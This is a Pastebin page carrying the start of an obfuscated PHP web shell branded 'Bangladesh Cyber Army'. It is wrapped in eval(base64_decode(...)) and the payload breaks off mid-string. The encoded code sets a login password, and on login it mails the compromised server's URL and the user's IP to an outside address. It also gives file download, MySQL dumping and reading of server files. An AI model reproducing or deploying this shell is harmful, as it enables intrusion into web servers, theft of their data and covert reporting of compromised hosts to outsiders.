Advertisement
captain_dark_sparrow

Untitled

Apr 23rd, 2014
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.44 KB | None | 0 0
  1. <?php
  2. eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQovL2RlZmluZSgnSVNfV0lOJywgc3Ryc3RyKFBIUF9PUywgJ1dJTicpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgew0KCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7DQoJCWlmICgkX2tleXswfSAhPSAnXycpIHsNCgkJCWlmIChJU19HUEMpIHsNCgkJCQkkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsNCgkJCX0NCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoJCX0NCgl9DQp9DQoNCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCiRhZG1pblsnY2hlY2snXSA9IHRydWU7DQokYWRtaW5bJ3Bhc3MnXSAgPSAnQkNBJzsgLy8gUGFzc3dvcmQgbG9naW4NCiRhZG1pblsnY29va2llcHJlJ10gPSAnJzsNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCiRhZG1pblsnY29va2llcGF0aCddID0gJy8nOw0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsNCi8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3ZiYXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxib2R5IGJhY2tncm91bmQ9d2hpdGU+Jyk7DQoJZXhpdDsNCn0NCmlmKCRhZG1pblsnY2hlY2snXSkgew0KCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoJCQlzY29va2llKCd2YmFwYXNzJywgJHBhc3N3b3JkKTsNCg0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdzdWJtaXRbYXRdMTMzN2RheS5jb20nOw0KJHNlcnZlcl9tYWlsID0gIiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiAgLSAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjsNCiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7DQokaGVhZGVyID0gIkZyb206ICRmcm9tX3NoZWxsY29kZVxyXG5SZXBseS10bzogJGZyb21fc2hlbGxjb2RlIjsNCkBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsNCgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7DQoJCQlwKCc8Ym9keSBiZ2NvbG9yPXdoaXRlPg0KPEJSPjxCUj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj1ibHVlIGZhY2U9dGFob21hIHNpemU9NT5CYW5nbGFkZXNoIEN5YmVyIEFybXk8QlI+PGltZyBzcmM9aHR0cDovL3d3dy5hbGFtdWFlLmNvbS91cC91cGxvbmcvbG9hZGluZzMyNjk1MzE4NzE0NjE5Ny5naWY+PC9kaXY+Jyk7DQoJCQlleGl0Ow0KCQl9DQoNCgllbHNlDQoJew0KCSRlcnJfbWVzcyA9ICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzAwMDAwMCB3aWR0aD0xMDAlIGhlaWdodD03MD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj1ibHVlIGZhY2U9dGFob21hIHNpemU9NT48Ymxpbms+IlBhU3N3MHJkIGVScjByIjwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOw0KZWNobyAkZXJyX21lc3M7DQoJfX0NCglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgew0KCQlpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgew0KCQkJbG9naW5wYWdlKCk7DQoJCX0NCgl9IGVsc2Ugew0KCQlsb2dpbnBhZ2UoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokZXJybXNnID0gJyc7DQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCg0KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gTXlzcWwNCmlmKCRkb2luZz09J215c3FsZG93bicpew0KCWlmICghJGRibmFtZSkgew0KCQkkZXJybXNnID0gJ1BsZWFzZSBpbnB1dCBkYm5hbWUnOw0KCX0gZWxzZSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCWlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgew0KCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCgkJfSBlbHNlIHsNCgkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUnKTsiKTsNCgkJCWlmKCEkcmVzdWx0KXsNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQoJCQkJcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQoJCQkJLy9Eb3dubG9hZCBTUUwNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOw0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoJCQl9DQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJaWYgKCEkcm93KSB7DQoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnQmFuZ2xhZGVzaCBDeWJlciBBcm15Jyk7Pz48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGR7Zm9udDogMTBwdCBjb21pYyBzYW5zIG1zO2NvbG9yOiNibHVlO2xpbmUtaGVpZ2h0OiAxNnB4O30NCg0KYSB7Y29sb3I6IGJsdWU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDp3aGl0ZTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMxMTExMTE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDp3aGl0ZTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvdXQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6d2hpdGU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9DQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9DQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9DQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNDIyNGQ2O30NCnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30NCnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30NCmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uDQp7DQoJZm9udC1zaXplOiAxMXB0Ow0KCWNvbG9yOiAjMDVmOTBlOw0KCWZvbnQtZmFtaWx5OiBjb21pYyBzYW5zIG1zOw0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoJYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci10b3A6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7DQoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM3NEEyMDI7DQp9DQpzZWxlY3QNCnsNCglmb250LXNpemU6IDEwcHQ7DQoJZm9udC13ZWlnaHQ6IG5vcm1hbDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogY29taWMgc2FucyBtczsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KfQ0KDQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj13aGl0ZSBiYWNrZ3JvdW5kPWh0dHA6Ly93d3cuY2x1Yi1oLmNvLmNjL3Bob3RvLmpwZz4NCg0KDQo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4NCgkJCQk8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTEwcHgiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIjMDAzMzAwIj4NCgkJCQkJPHRyPg0KCQkJDQoJCQkJICA8L2Rpdj4NCgkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCTwvdGFibGU+DQoJCQkgPC9kaXY+DQogPHNjcmlwdD4NCiB2YXIgbGQ9KGRvY3VtZW50LmFsbCk7DQogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOw0KIHZhciBuczY9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQmJiFkb2N1bWVudC5hbGw7DQogdmFyIGllND1kb2N1bWVudC5hbGw7DQogIGlmIChuczQpDQogCWxkPWRvY3VtZW50LmxvYWRpbmc7DQogZWxzZSBpZiAobnM2KQ0KIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiV2FpdCBQbGVhc2UgRm9yIEJDQSBTaGVsbCBsb2FkaW5nIikuc3R5bGU7DQogZWxzZSBpZiAoaWU0KQ0KIAlsZD1kb2N1bWVudC5hbGwubG9hZGluZy5zdHlsZTsNCiAgZnVuY3Rpb24gaW5pdCgpDQogew0KIGlmKG5zNCl7bGQudmlzaWJpbGl0eT0iaGlkZGVuIjt9DQogZWxzZSBpZiAobnM2fHxpZTQpIGxkLmRpc3BsYXk9Im5vbmUiOw0KIH0NCiA8L3NjcmlwdD4NCg0KDQoNCg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJPHRyIGNsYXNzPSJoZWFkX3NtYWxsIj4NCgkJPHRkICB3aWR0aD0xMDAlPg0KCQk8dGFibGUgd2lkdGg9MTAwJT48dHIgY2xhc3M9ImhlYWRfc21hbGwiPjx0ZCAgd2lkdGg9ODZweD48YSB0aXRsZT0iQmFuZ2xhZGVzaCBDeWJlciBBcm15IiBocmVmPSI8P3BocCAkc2VsZjs/PiI+PGltZyBzcmM9Imh0dHA6Ly9hNS5zcGhvdG9zLmFrLmZiY2RuLm5ldC9ocGhvdG9zLWFrLWFzaDQvNDMwMzcxXzM0OTI4ODg0ODQ0NDYwMV8xODgxOTkyODQ1NTM1NTlfMTAxODk3MV81MDg5MTAzODZfbi5qcGciIGhlaWdodD0xODAgYm9yZGVyPTA+PC9hPjwvdGQ+PHRkPg0KCQk8ZGl2IHN0eWxlPSJmb250LXNpemU6NDBweDtmb250LXdlaWdodDpib2xkO2ZvbnQtc3R5bGU6bm9ybWFsO2NvbG9yOiM0NjgxMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dGV4dC1zaGFkb3c6IzA5ZmQwMiAzcHggM3B4ICAzcHg7Zm9udC12YXJpYW50OnNtYWxsLWNhcHM7Ij5CQU5HTEFERVNIIDxzcGFuIHN0eWxlPSJjb2xvcjpSRUQiPiBDWUJFUiA8L3NwYW4+IEFSTVk8L2Rpdj48YnI+DQoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc1QgU2VydmVyOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8YSBocmVmPSJodHRwOi8vRmFjZWJvb2suY29tL0JEY3liZXJhcm15IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ0JhbmdsYWRlc2ggQ3liZXIgQXJteScpOz8+IDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPjxmb250IGNvbG9yPXJlZD5Mb2cwdXQ8L2ZvbnQ+PC9hPjwvc3Bhbj4gPGJyIC8+DQoNCgkJPD9waHANCgkJJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCgkJJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQoJCSRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCgkJJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQplY2hvICgoJHNhZmVfbW9kZSk/KCJTYWZlIE1vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9OPC9mb250PjwvYj4gLSAiKTooIlNhZmUgbTBkZTogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PjwvYj4gIC0iKSk7DQplY2hvICJwSHAgVjNyU2kwbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IC0gIjsNCgkJZWNobyAiQ3VyTDogIi4oKCRjdXJsX29uKT8oIjxiPjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsNCgkJZWNobyAiTXlzcUw6IDxiPiI7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQppZigkbXlzcWxfb24pew0KZWNobyAiPGZvbnQgY29sb3I9UkVEPk9OPC9mb250PjwvYj4gLSAiOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+PC9iPiAtICI7IH0NCmVjaG8gIk1zU3FMOiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+PC9iPiAtICI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PjwvYj4gLSAiO30NCmVjaG8gIlBvc3RncmVTcWw6IDxiPiI7DQokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+PC9iPiAtICI7fQ0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PjwvYj48QlI+Ijt9DQoNCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsNCmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9MDIxZmZjPk5PTkU8L2ZvbnQ+PC9iPjxCUj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iO30NCg0KZWNobyAiPGZvbnQgY29sb3I9YmxhY2s+dW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj1ibGFjaz5TZXJ2ZXI8L2ZvbnQ+OiAiLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIi5AZ2V0bXl1aWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSAtIHVpZD0iLkBnZXRteXVpZCgpLiIgKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKSBnaWQ9Ii5AZ2V0bXlnaWQoKS4iKCIuQGdldF9jdXJyZW50X3VzZXIoKS4iKTxicj4iOw0KDQoJCT8+DQoNCgkJPC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCgk8L3RyPg0KCTx0ciBjbGFzcz0iYWx0MSI+DQoJCTx0ZCAgd2lkdGg9MTAlPjxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+TXkgSVA6IDw/cGhwIGVjaG8gIjxmb250IGNvbG9yPXJlZD4iLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiI8L2ZvbnQ+Ijs/PiA8L3NwYW4+ICAgPGJyIC8+DQo8YnIgLz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZmlsZScpOyI+Q3VycmVudDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPkRVTVAgTXlTcUwgREIgPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxmaWxlJyk7Ij5NeVNxbCBFZGl0MHI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6